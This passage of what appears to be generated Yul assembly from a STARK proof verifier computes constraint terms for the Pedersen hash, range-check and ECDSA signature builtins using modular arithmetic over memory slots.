// Numerator: point^(trace_length / 2048) - trace_generator^(255 * trace_length / 256).
// val *= numerators[5].
val := mulmod(val, mload(0x3c80), PRIME)
// Denominator: point^(trace_length / 8) - 1.
// val *= denominator_invs[11].
val := mulmod(val, mload(0x3700), PRIME)
// res += val * coefficients[66].
res := addmod(res,
mulmod(val, /*coefficients[66]*/ mload(0xd80), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/ec_subset_sum/copy_point/y: pedersen__hash0__ec_subset_sum__bit_neg_0 * (column5_row13 - column5_row5).
let val := mulmod(
/*intermediate_value/pedersen/hash0/ec_subset_sum/bit_neg_0*/ mload(0x2ea0),
addmod(/*column5_row13*/ mload(0x2260), sub(PRIME, /*column5_row5*/ mload(0x21a0)), PRIME),
PRIME)
// Numerator: point^(trace_length / 2048) - trace_generator^(255 * trace_length / 256).
// val *= numerators[5].
val := mulmod(val, mload(0x3c80), PRIME)
// Denominator: point^(trace_length / 8) - 1.
// val *= denominator_invs[11].
val := mulmod(val, mload(0x3700), PRIME)
// res += val * coefficients[67].
res := addmod(res,
mulmod(val, /*coefficients[67]*/ mload(0xda0), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/copy_point/x: column5_row2049 - column5_row2041.
let val := addmod(
/*column5_row2049*/ mload(0x24a0),
sub(PRIME, /*column5_row2041*/ mload(0x2440)),
PRIME)
// Numerator: point^(trace_length / 4096) - trace_generator^(trace_length / 2).
// val *= numerators[6].
val := mulmod(val, mload(0x3ca0), PRIME)
// Denominator: point^(trace_length / 2048) - 1.
// val *= denominator_invs[10].
val := mulmod(val, mload(0x36e0), PRIME)
// res += val * coefficients[68].
res := addmod(res,
mulmod(val, /*coefficients[68]*/ mload(0xdc0), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/copy_point/y: column5_row2053 - column5_row2045.
let val := addmod(
/*column5_row2053*/ mload(0x24c0),
sub(PRIME, /*column5_row2045*/ mload(0x2480)),
PRIME)
// Numerator: point^(trace_length / 4096) - trace_generator^(trace_length / 2).
// val *= numerators[6].
val := mulmod(val, mload(0x3ca0), PRIME)
// Denominator: point^(trace_length / 2048) - 1.
// val *= denominator_invs[10].
val := mulmod(val, mload(0x36e0), PRIME)
// res += val * coefficients[69].
res := addmod(res,
mulmod(val, /*coefficients[69]*/ mload(0xde0), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/init/x: column5_row1 - pedersen/shift_point.x.
let val := addmod(
/*column5_row1*/ mload(0x2120),
sub(PRIME, /*pedersen/shift_point.x*/ mload(0x300)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 4096) - 1.
// val *= denominator_invs[14].
val := mulmod(val, mload(0x3760), PRIME)
// res += val * coefficients[70].
res := addmod(res,
mulmod(val, /*coefficients[70]*/ mload(0xe00), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/init/y: column5_row5 - pedersen/shift_point.y.
let val := addmod(
/*column5_row5*/ mload(0x21a0),
sub(PRIME, /*pedersen/shift_point.y*/ mload(0x320)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 4096) - 1.
// val *= denominator_invs[14].
val := mulmod(val, mload(0x3760), PRIME)
// res += val * coefficients[71].
res := addmod(res,
mulmod(val, /*coefficients[71]*/ mload(0xe20), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/input0_value0: column3_row11 - column5_row7.
let val := addmod(/*column3_row11*/ mload(0x1d40), sub(PRIME, /*column5_row7*/ mload(0x21e0)), PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 4096) - 1.
// val *= denominator_invs[14].
val := mulmod(val, mload(0x3760), PRIME)
// res += val * coefficients[72].
res := addmod(res,
mulmod(val, /*coefficients[72]*/ mload(0xe40), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/input0_addr: column3_row4106 - (column3_row1034 + 1).
let val := addmod(
/*column3_row4106*/ mload(0x2000),
sub(PRIME, addmod(/*column3_row1034*/ mload(0x1f40), 1, PRIME)),
PRIME)
// Numerator: point - trace_generator^(4096 * (trace_length / 4096 - 1)).
// val *= numerators[7].
val := mulmod(val, mload(0x3cc0), PRIME)
// Denominator: point^(trace_length / 4096) - 1.
// val *= denominator_invs[14].
val := mulmod(val, mload(0x3760), PRIME)
// res += val * coefficients[73].
res := addmod(res,
mulmod(val, /*coefficients[73]*/ mload(0xe60), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/init_addr: column3_row10 - initial_pedersen_addr.
let val := addmod(
/*column3_row10*/ mload(0x1d20),
sub(PRIME, /*initial_pedersen_addr*/ mload(0x340)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - 1.
// val *= denominator_invs[3].
val := mulmod(val, mload(0x3600), PRIME)
// res += val * coefficients[74].
res := addmod(res,
mulmod(val, /*coefficients[74]*/ mload(0xe80), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/input1_value0: column3_row2059 - column5_row2055.
let val := addmod(
/*column3_row2059*/ mload(0x1fa0),
sub(PRIME, /*column5_row2055*/ mload(0x24e0)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 4096) - 1.
// val *= denominator_invs[14].
val := mulmod(val, mload(0x3760), PRIME)
// res += val * coefficients[75].
res := addmod(res,
mulmod(val, /*coefficients[75]*/ mload(0xea0), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/input1_addr: column3_row2058 - (column3_row10 + 1).
let val := addmod(
/*column3_row2058*/ mload(0x1f80),
sub(PRIME, addmod(/*column3_row10*/ mload(0x1d20), 1, PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 4096) - 1.
// val *= denominator_invs[14].
val := mulmod(val, mload(0x3760), PRIME)
// res += val * coefficients[76].
res := addmod(res,
mulmod(val, /*coefficients[76]*/ mload(0xec0), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/output_value0: column3_row1035 - column5_row4089.
let val := addmod(
/*column3_row1035*/ mload(0x1f60),
sub(PRIME, /*column5_row4089*/ mload(0x2500)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 4096) - 1.
// val *= denominator_invs[14].
val := mulmod(val, mload(0x3760), PRIME)
// res += val * coefficients[77].
res := addmod(res,
mulmod(val, /*coefficients[77]*/ mload(0xee0), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/output_addr: column3_row1034 - (column3_row2058 + 1).
let val := addmod(
/*column3_row1034*/ mload(0x1f40),
sub(PRIME, addmod(/*column3_row2058*/ mload(0x1f80), 1, PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 4096) - 1.
// val *= denominator_invs[14].
val := mulmod(val, mload(0x3760), PRIME)
// res += val * coefficients[78].
res := addmod(res,
mulmod(val, /*coefficients[78]*/ mload(0xf00), PRIME),
PRIME)
}
{
// Constraint expression for rc_builtin/value: rc_builtin__value7_0 - column3_row75.
let val := addmod(
/*intermediate_value/rc_builtin/value7_0*/ mload(0x2fa0),
sub(PRIME, /*column3_row75*/ mload(0x1e80)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 128) - 1.
// val *= denominator_invs[15].
val := mulmod(val, mload(0x3780), PRIME)
// res += val * coefficients[79].
res := addmod(res,
mulmod(val, /*coefficients[79]*/ mload(0xf20), PRIME),
PRIME)
}
{
// Constraint expression for rc_builtin/addr_step: column3_row202 - (column3_row74 + 1).
let val := addmod(
/*column3_row202*/ mload(0x1f20),
sub(PRIME, addmod(/*column3_row74*/ mload(0x1e60), 1, PRIME)),
PRIME)
// Numerator: point - trace_generator^(128 * (trace_length / 128 - 1)).
// val *= numerators[8].
val := mulmod(val, mload(0x3ce0), PRIME)
// Denominator: point^(trace_length / 128) - 1.
// val *= denominator_invs[15].
val := mulmod(val, mload(0x3780), PRIME)
// res += val * coefficients[80].
res := addmod(res,
mulmod(val, /*coefficients[80]*/ mload(0xf40), PRIME),
PRIME)
}
{
// Constraint expression for rc_builtin/init_addr: column3_row74 - initial_rc_addr.
let val := addmod(
/*column3_row74*/ mload(0x1e60),
sub(PRIME, /*initial_rc_addr*/ mload(0x360)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - 1.
// val *= denominator_invs[3].
val := mulmod(val, mload(0x3600), PRIME)
// res += val * coefficients[81].
res := addmod(res,
mulmod(val, /*coefficients[81]*/ mload(0xf60), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/doubling_key/slope: ecdsa__signature0__doubling_key__x_squared + ecdsa__signature0__doubling_key__x_squared + ecdsa__signature0__doubling_key__x_squared + ecdsa/sig_config.alpha - (column6_row22 + column6_row22) * column6_row14.
let val := addmod(
addmod(
addmod(
addmod(
/*intermediate_value/ecdsa/signature0/doubling_key/x_squared*/ mload(0x2fc0),
/*intermediate_value/ecdsa/signature0/doubling_key/x_squared*/ mload(0x2fc0),
PRIME),
/*intermediate_value/ecdsa/signature0/doubling_key/x_squared*/ mload(0x2fc0),
PRIME),
/*ecdsa/sig_config.alpha*/ mload(0x380),
PRIME),
sub(
PRIME,
mulmod(
addmod(/*column6_row22*/ mload(0x2700), /*column6_row22*/ mload(0x2700), PRIME),
/*column6_row14*/ mload(0x2680),
PRIME)),
PRIME)
// Numerator: point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256).
// val *= numerators[9].
val := mulmod(val, mload(0x3d00), PRIME)
// Denominator: point^(trace_length / 32) - 1.
// val *= denominator_invs[16].
val := mulmod(val, mload(0x37a0), PRIME)
// res += val * coefficients[82].
res := addmod(res,
mulmod(val, /*coefficients[82]*/ mload(0xf80), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/doubling_key/x: column6_row14 * column6_row14 - (column6_row6 + column6_row6 + column6_row38).
let val := addmod(
mulmod(/*column6_row14*/ mload(0x2680), /*column6_row14*/ mload(0x2680), PRIME),
sub(
PRIME,
addmod(
addmod(/*column6_row6*/ mload(0x25c0), /*column6_row6*/ mload(0x25c0), PRIME),
/*column6_row38*/ mload(0x27c0),
PRIME)),
PRIME)
// Numerator: point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256).
// val *= numerators[9].
val := mulmod(val, mload(0x3d00), PRIME)
// Denominator: point^(trace_length / 32) - 1.
// val *= denominator_invs[16].
val := mulmod(val, mload(0x37a0), PRIME)
// res += val * coefficients[83].
res := addmod(res,
mulmod(val, /*coefficients[83]*/ mload(0xfa0), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/doubling_key/y: column6_row22 + column6_row54 - column6_row14 * (column6_row6 - column6_row38).
let val := addmod(
addmod(/*column6_row22*/ mload(0x2700), /*column6_row54*/ mload(0x2840), PRIME),
sub(
PRIME,
mulmod(
/*column6_row14*/ mload(0x2680),
addmod(/*column6_row6*/ mload(0x25c0), sub(PRIME, /*column6_row38*/ mload(0x27c0)), PRIME),
PRIME)),
PRIME)
// Numerator: point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256).
// val *= numerators[9].
val := mulmod(val, mload(0x3d00), PRIME)
// Denominator: point^(trace_length / 32) - 1.
// val *= denominator_invs[16].
val := mulmod(val, mload(0x37a0), PRIME)
// res += val * coefficients[84].
res := addmod(res,
mulmod(val, /*coefficients[84]*/ mload(0xfc0), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_generator/booleanity_test: ecdsa__signature0__exponentiate_generator__bit_0 * (ecdsa__signature0__exponentiate_generator__bit_0 - 1).
let val := mulmod(
/*intermediate_value/ecdsa/signature0/exponentiate_generator/bit_0*/ mload(0x2fe0),
addmod(
/*intermediate_value/ecdsa/signature0/exponentiate_generator/bit_0*/ mload(0x2fe0),
sub(PRIME, 1),
PRIME),
PRIME)
// Numerator: point^(trace_length / 16384) - trace_generator^(255 * trace_length / 256).
// val *= numerators[10].
val := mulmod(val, mload(0x3d20), PRIME)
// Denominator: point^(trace_length / 64) - 1.
// val *= denominator_invs[17].
val := mulmod(val, mload(0x37c0), PRIME)
// res += val * coefficients[85].
res := addmod(res,
mulmod(val, /*coefficients[85]*/ mload(0xfe0), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_generator/bit_extraction_end: column6_row53.
let val := /*column6_row53*/ mload(0x2820)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16384) - trace_generator^(251 * trace_length / 256).
// val *= denominator_invs[18].
val := mulmod(val, mload(0x37e0), PRIME)
// res += val * coefficients[86].
res := addmod(res,
mulmod(val, /*coefficients[86]*/ mload(0x1000), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_generator/zeros_tail: column6_row53.
let val := /*column6_row53*/ mload(0x2820)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16384) - trace_generator^(255 * trace_length / 256).
// val *= denominator_invs[19].
val := mulmod(val, mload(0x3800), PRIME)
// res += val * coefficients[87].
res := addmod(res,
mulmod(val, /*coefficients[87]*/ mload(0x1020), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_generator/add_points/slope: ecdsa__signature0__exponentiate_generator__bit_0 * (column6_row37 - ecdsa__generator_points__y) - column6_row21 * (column6_row5 - ecdsa__generator_points__x).
let val := addmod(
mulmod(
/*intermediate_value/ecdsa/signature0/exponentiate_generator/bit_0*/ mload(0x2fe0),
addmod(
/*column6_row37*/ mload(0x27a0),
sub(PRIME, /*periodic_column/ecdsa/generator_points/y*/ mload(0x60)),
PRIME),
PRIME),
sub(
PRIME,
mulmod(
/*column6_row21*/ mload(0x26e0),
addmod(
/*column6_row5*/ mload(0x25a0),
sub(PRIME, /*periodic_column/ecdsa/generator_points/x*/ mload(0x40)),
PRIME),
PRIME)),
PRIME)
// Numerator: point^(trace_length / 16384) - trace_generator^(255 * trace_length / 256).
// val *= numerators[10].
val := mulmod(val, mload(0x3d20), PRIME)
// Denominator: point^(trace_length / 64) - 1.
// val *= denominator_invs[17].
val := mulmod(val, mload(0x37c0), PRIME)
// res += val * coefficients[88].
res := addmod(res,
mulmod(val, /*coefficients[88]*/ mload(0x1040), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_generator/add_points/x: column6_row21 * column6_row21 - ecdsa__signature0__exponentiate_generator__bit_0 * (column6_row5 + ecdsa__generator_points__x + column6_row69).
let val := addmod(
mulmod(/*column6_row21*/ mload(0x26e0), /*column6_row21*/ mload(0x26e0), PRIME),
sub(
PRIME,
mulmod(
/*intermediate_value/ecdsa/signature0/exponentiate_generator/bit_0*/ mload(0x2fe0),
addmod(
addmod(
/*column6_row5*/ mload(0x25a0),
/*periodic_column/ecdsa/generator_points/x*/ mload(0x40),
PRIME),
/*column6_row69*/ mload(0x2880),
PRIME),
PRIME)),
PRIME)
// Numerator: point^(trace_length / 16384) - trace_generator^(255 * trace_length / 256).
// val *= numerators[10].
val := mulmod(val, mload(0x3d20), PRIME)
// Denominator: point^(trace_length / 64) - 1.
// val *= denominator_invs[17].
val := mulmod(val, mload(0x37c0), PRIME)
// res += val * coefficients[89].
res := addmod(res,
mulmod(val, /*coefficients[89]*/ mload(0x1060), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_generator/add_points/y: ecdsa__signature0__exponentiate_generator__bit_0 * (column6_row37 + column6_row101) - column6_row21 * (column6_row5 - column6_row69).
let val := addmod(
mulmod(
/*intermediate_value/ecdsa/signature0/exponentiate_generator/bit_0*/ mload(0x2fe0),
addmod(/*column6_row37*/ mload(0x27a0), /*column6_row101*/ mload(0x28a0), PRIME),
PRIME),
sub(
PRIME,
mulmod(
/*column6_row21*/ mload(0x26e0),
addmod(/*column6_row5*/ mload(0x25a0), sub(PRIME, /*column6_row69*/ mload(0x2880)), PRIME),
PRIME)),
PRIME)
// Numerator: point^(trace_length / 16384) - trace_generator^(255 * trace_length / 256).
// val *= numerators[10].
val := mulmod(val, mload(0x3d20), PRIME)
// Denominator: point^(trace_length / 64) - 1.
// val *= denominator_invs[17].
val := mulmod(val, mload(0x37c0), PRIME)
// res += val * coefficients[90].
res := addmod(res,
mulmod(val, /*coefficients[90]*/ mload(0x1080), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_generator/add_points/x_diff_inv: column6_row13 * (column6_row5 - ecdsa__generator_points__x) - 1.
let val := addmod(
mulmod(
/*column6_row13*/ mload(0x2660),
addmod(
/*column6_row5*/ mload(0x25a0),
sub(PRIME, /*periodic_column/ecdsa/generator_points/x*/ mload(0x40)),
PRIME),
PRIME),
sub(PRIME, 1),
PRIME)
// Numerator: point^(trace_length / 16384) - trace_generator^(255 * trace_length / 256).
// val *= numerators[10].
val := mulmod(val, mload(0x3d20), PRIME)
// Denominator: point^(trace_length / 64) - 1.
// val *= denominator_invs[17].
val := mulmod(val, mload(0x37c0), PRIME)
// res += val * coefficients[91].
res := addmod(res,
mulmod(val, /*coefficients[91]*/ mload(0x10a0), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_generator/copy_point/x: ecdsa__signature0__exponentiate_generator__bit_neg_0 * (column6_row69 - column6_row5).
let val := mulmod(
/*intermediate_value/ecdsa/signature0/exponentiate_generator/bit_neg_0*/ mload(0x3000),
addmod(/*column6_row69*/ mload(0x2880), sub(PRIME, /*column6_row5*/ mload(0x25a0)), PRIME),
PRIME)
// Numerator: point^(trace_length / 16384) - trace_generator^(255 * trace_length / 256).
// val *= numerators[10].
val := mulmod(val, mload(0x3d20), PRIME)
// Denominator: point^(trace_length / 64) - 1.
// val *= denominator_invs[17].
val := mulmod(val, mload(0x37c0), PRIME)
// res += val * coefficients[92].
res := addmod(res,
mulmod(val, /*coefficients[92]*/ mload(0x10c0), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_generator/copy_point/y: ecdsa__signature0__exponentiate_generator__bit_neg_0 * (column6_row101 - column6_row37).
let val := mulmod(
/*intermediate_value/ecdsa/signature0/exponentiate_generator/bit_neg_0*/ mload(0x3000),
addmod(
/*column6_row101*/ mload(0x28a0),
sub(PRIME, /*column6_row37*/ mload(0x27a0)),
PRIME),
PRIME)
// Numerator: point^(trace_length / 16384) - trace_generator^(255 * trace_length / 256).
// val *= numerators[10].
val := mulmod(val, mload(0x3d20), PRIME)
// Denominator: point^(trace_length / 64) - 1.
// val *= denominator_invs[17].
val := mulmod(val, mload(0x37c0), PRIME)
// res += val * coefficients[93].
res := addmod(res,
mulmod(val, /*coefficients[93]*/ mload(0x10e0), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_key/booleanity_test: ecdsa__signature0__exponentiate_key__bit_0 * (ecdsa__signature0__exponentiate_key__bit_0 - 1).
let val := mulmod(
/*intermediate_value/ecdsa/signature0/exponentiate_key/bit_0*/ mload(0x3020),
addmod(
/*intermediate_value/ecdsa/signature0/exponentiate_key/bit_0*/ mload(0x3020),
sub(PRIME, 1),
PRIME),
PRIME)
// Numerator: point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256).
// val *= numerators[9].
val := mulmod(val, mload(0x3d00), PRIME)
// Denominator: point^(trace_length / 32) - 1.
// val *= denominator_invs[16].
val := mulmod(val, mload(0x37a0), PRIME)
// res += val * coefficients[94].
res := addmod(res,
mulmod(val, /*coefficients[94]*/ mload(0x1100), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_key/bit_extraction_end: column6_row9.
let val := /*column6_row9*/ mload(0x2600)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 8192) - trace_generator^(251 * trace_length / 256).
// val *= denominator_invs[20].
val := mulmod(val, mload(0x3820), PRIME)
// res += val * coefficients[95].
res := addmod(res,
mulmod(val, /*coefficients[95]*/ mload(0x1120), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_key/zeros_tail: column6_row9.
let val := /*column6_row9*/ mload(0x2600)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256).
// val *= denominator_invs[21].
val := mulmod(val, mload(0x3840), PRIME)
// res += val * coefficients[96].
res := addmod(res,
mulmod(val, /*coefficients[96]*/ mload(0x1140), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_key/add_points/slope: ecdsa__signature0__exponentiate_key__bit_0 * (column6_row1 - column6_row22) - column6_row17 * (column6_row30 - column6_row6).
let val := addmod(
mulmod(
/*intermediate_value/ecdsa/signature0/exponentiate_key/bit_0*/ mload(0x3020),
addmod(/*column6_row1*/ mload(0x2540), sub(PRIME, /*column6_row22*/ mload(0x2700)), PRIME),
PRIME),
sub(
PRIME,
mulmod(
/*column6_row17*/ mload(0x26c0),
addmod(/*column6_row30*/ mload(0x2760), sub(PRIME, /*column6_row6*/ mload(0x25c0)), PRIME),
PRIME)),
PRIME)
// Numerator: point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256).
// val *= numerators[9].
val := mulmod(val, mload(0x3d00), PRIME)
// Denominator: point^(trace_length / 32) - 1.
// val *= denominator_invs[16].
val := mulmod(val, mload(0x37a0), PRIME)
// res += val * coefficients[97].
res := addmod(res,
mulmod(val, /*coefficients[97]*/ mload(0x1160), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_key/add_points/x: column6_row17 * column6_row17 - ecdsa__signature0__exponentiate_key__bit_0 * (column6_row30 + column6_row6 + column6_row62).
let val := addmod(
mulmod(/*column6_row17*/ mload(0x26c0), /*column6_row17*/ mload(0x26c0), PRIME),
sub(
PRIME,
mulmod(
/*intermediate_value/ecdsa/signature0/exponentiate_key/bit_0*/ mload(0x3020),
addmod(
addmod(/*column6_row30*/ mload(0x2760), /*column6_row6*/ mload(0x25c0), PRIME),
/*column6_row62*/ mload(0x2860),
PRIME),
PRIME)),
PRIME)
// Numerator: point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256).
// val *= numerators[9].
val := mulmod(val, mload(0x3d00), PRIME)
// Denominator: point^(trace_length / 32) - 1.
// val *= denominator_invs[16].
val := mulmod(val, mload(0x37a0), PRIME)
// res += val * coefficients[98].
res := addmod(res,
mulmod(val, /*coefficients[98]*/ mload(0x1180), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_key/add_points/y: ecdsa__signature0__exponentiate_key__bit_0 * (column6_row1 + column6_row33) - column6_row17 * (column6_row30 - column6_row62).
let val := addmod(
mulmod(
/*intermediate_value/ecdsa/signature0/exponentiate_key/bit_0*/ mload(0x3020),
addmod(/*column6_row1*/ mload(0x2540), /*column6_row33*/ mload(0x2780), PRIME),
PRIME),
sub(
PRIME,
mulmod(
/*column6_row17*/ mload(0x26c0),
addmod(/*column6_row30*/ mload(0x2760), sub(PRIME, /*column6_row62*/ mload(0x2860)), PRIME),
PRIME)),
PRIME)
// Numerator: point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256).
// val *= numerators[9].
val := mulmod(val, mload(0x3d00), PRIME)
// Denominator: point^(trace_length / 32) - 1.
// val *= denominator_invs[16].
val := mulmod(val, mload(0x37a0), PRIME)
// res += val * coefficients[99].
res := addmod(res,
mulmod(val, /*coefficients[99]*/ mload(0x11a0), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_key/add_points/x_diff_inv: column6_row25 * (column6_row30 - column6_row6) - 1.
let val := addmod(
mulmod(
/*column6_row25*/ mload(0x2740),
addmod(/*column6_row30*/ mload(0x2760), sub(PRIME, /*column6_row6*/ mload(0x25c0)), PRIME),
PRIME),
sub(PRIME, 1),
PRIME)
// Numerator: point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256).
// val *= numerators[9].
val := mulmod(val, mload(0x3d00), PRIME)
// Denominator: point^(trace_length / 32) - 1.
// val *= denominator_invs[16].
val := mulmod(val, mload(0x37a0), PRIME)
// res += val * coefficients[100].
res := addmod(res,
mulmod(val, /*coefficients[100]*/ mload(0x11c0), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_key/copy_point/x: ecdsa__signature0__exponentiate_key__bit_neg_0 * (column6_row62 - column6_row30).
let val := mulmod(
/*intermediate_value/ecdsa/signature0/exponentiate_key/bit_neg_0*/ mload(0x3040),
addmod(/*column6_row62*/ mload(0x2860), sub(PRIME, /*column6_row30*/ mload(0x2760)), PRIME),
PRIME)
// Numerator: point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256).
// val *= numerators[9].
val := mulmod(val, mload(0x3d00), PRIME)
// Denominator: point^(trace_length / 32) - 1.
// val *= denominator_invs[16].
val := mulmod(val, mload(0x37a0), PRIME)
// res += val * coefficients[101].
res := addmod(res,
mulmod(val, /*coefficients[101]*/ mload(0x11e0), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/exponentiate_key/copy_point/y: ecdsa__signature0__exponentiate_key__bit_neg_0 * (column6_row33 - column6_row1).
let val := mulmod(
/*intermediate_value/ecdsa/signature0/exponentiate_key/bit_neg_0*/ mload(0x3040),
addmod(/*column6_row33*/ mload(0x2780), sub(PRIME, /*column6_row1*/ mload(0x2540)), PRIME),
PRIME)
// Numerator: point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256).
// val *= numerators[9].
val := mulmod(val, mload(0x3d00), PRIME)
// Denominator: point^(trace_length / 32) - 1.
// val *= denominator_invs[16].
val := mulmod(val, mload(0x37a0), PRIME)
// res += val * coefficients[102].
res := addmod(res,
mulmod(val, /*coefficients[102]*/ mload(0x1200), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/init_gen/x: column6_row5 - ecdsa/sig_config.shift_point.x.
let val := addmod(
/*column6_row5*/ mload(0x25a0),
sub(PRIME, /*ecdsa/sig_config.shift_point.x*/ mload(0x3a0)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16384) - 1.
// val *= denominator_invs[22].
val := mulmod(val, mload(0x3860), PRIME)
// res += val * coefficients[103].
res := addmod(res,
mulmod(val, /*coefficients[103]*/ mload(0x1220), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/init_gen/y: column6_row37 + ecdsa/sig_config.shift_point.y.
let val := addmod(
/*column6_row37*/ mload(0x27a0),
/*ecdsa/sig_config.shift_point.y*/ mload(0x3c0),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16384) - 1.
// val *= denominator_invs[22].
val := mulmod(val, mload(0x3860), PRIME)
// res += val * coefficients[104].
res := addmod(res,
mulmod(val, /*coefficients[104]*/ mload(0x1240), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/init_key/x: column6_row30 - ecdsa/sig_config.shift_point.x.
let val := addmod(
/*column6_row30*/ mload(0x2760),
sub(PRIME, /*ecdsa/sig_config.shift_point.x*/ mload(0x3a0)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 8192) - 1.
// val *= denominator_invs[23].
val := mulmod(val, mload(0x3880), PRIME)
// res += val * coefficients[105].
res := addmod(res,
mulmod(val, /*coefficients[105]*/ mload(0x1260), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/init_key/y: column6_row1 - ecdsa/sig_config.shift_point.y.
let val := addmod(
/*column6_row1*/ mload(0x2540),
sub(PRIME, /*ecdsa/sig_config.shift_point.y*/ mload(0x3c0)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 8192) - 1.
// val *= denominator_invs[23].
val := mulmod(val, mload(0x3880), PRIME)
// res += val * coefficients[106].
res := addmod(res,
mulmod(val, /*coefficients[106]*/ mload(0x1280), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/add_results/slope: column6_row16357 - (column6_row8161 + column6_row16341 * (column6_row16325 - column6_row8190)).
let val := addmod(
/*column6_row16357*/ mload(0x2a40),
sub(
PRIME,
addmod(
/*column6_row8161*/ mload(0x28e0),
mulmod(
/*column6_row16341*/ mload(0x2a00),
addmod(
/*column6_row16325*/ mload(0x29c0),
sub(PRIME, /*column6_row8190*/ mload(0x2960)),
PRIME),
PRIME),
PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16384) - 1.
// val *= denominator_invs[22].
val := mulmod(val, mload(0x3860), PRIME)
// res += val * coefficients[107].
res := addmod(res,
mulmod(val, /*coefficients[107]*/ mload(0x12a0), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/add_results/x: column6_row16341 * column6_row16341 - (column6_row16325 + column6_row8190 + column6_row8198).
let val := addmod(
mulmod(/*column6_row16341*/ mload(0x2a00), /*column6_row16341*/ mload(0x2a00), PRIME),
sub(
PRIME,
addmod(
addmod(/*column6_row16325*/ mload(0x29c0), /*column6_row8190*/ mload(0x2960), PRIME),
/*column6_row8198*/ mload(0x2980),
PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16384) - 1.
// val *= denominator_invs[22].
